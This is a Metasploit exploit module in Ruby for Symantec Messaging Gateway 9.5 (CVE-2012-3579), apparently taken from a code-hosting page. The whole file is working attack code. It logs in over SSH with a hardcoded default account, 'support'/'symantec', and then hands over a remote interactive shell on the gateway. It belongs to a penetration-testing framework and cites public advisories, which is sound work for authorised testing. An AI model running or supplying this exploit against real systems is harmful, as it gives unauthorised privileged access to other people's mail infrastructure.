143 lines
3.8 KiB
Ruby
143 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'net/ssh'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Auxiliary::CommandShell
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def initialize(info={})
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super(update_info(info,
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'Name' => "Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability",
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'Description' => %q{
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This module exploits a default misconfiguration flaw on Symantec Messaging Gateway.
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The 'support' user has a known default password, which can be used to login to the
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SSH service, and gain privileged access from remote.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Stefan Viehbock', #Original discovery
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'Ben Williams', #Reporting the vuln + coordinated release
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['CVE', '2012-3579'],
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['OSVDB', '85028'],
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['BID', '55143'],
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['URL', 'https://www.sec-consult.com/files/20120829-0_Symantec_Mail_Gateway_Support_Backdoor.txt'],
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['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120827_00']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Payload' =>
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{
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'Compat' => {
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find'
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['Symantec Messaging Gateway 9.5', {}],
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],
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'Privileged' => true,
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#Timestamp on Symantec advisory
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#But was found on Jun 26, 2012
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'DisclosureDate' => "Aug 27 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RHOST(),
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Opt::RPORT(22)
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], self.class
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)
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register_advanced_options(
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[
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OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
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]
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)
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end
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def rhost
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datastore['RHOST']
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end
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def rport
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datastore['RPORT']
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end
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def do_login(user, pass)
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opts = {
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:auth_methods => ['password', 'keyboard-interactive'],
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:msframework => framework,
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:msfmodule => self,
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:port => rport,
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:disable_agent => true,
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:config => false,
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:password => pass,
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:record_auth_info => true,
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:proxies => datastore['Proxies']
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}
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opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
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begin
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ssh = nil
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::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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ssh = Net::SSH.start(rhost, user, opts)
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end
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rescue Rex::ConnectionError
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return
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rescue Net::SSH::Disconnect, ::EOFError
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print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
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return
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rescue ::Timeout::Error
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print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
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return
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rescue Net::SSH::AuthenticationFailed
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print_error "#{rhost}:#{rport} SSH - Failed authentication"
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rescue Net::SSH::Exception => e
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print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
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return
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end
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if ssh
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conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
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ssh = nil
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return conn
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end
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return nil
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end
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def exploit
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user = 'support'
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pass = 'symantec'
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print_status("#{rhost}:#{rport} - Attempt to login...")
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conn = do_login(user, pass)
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if conn
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print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
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handler(conn.lsock)
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end
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end
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end
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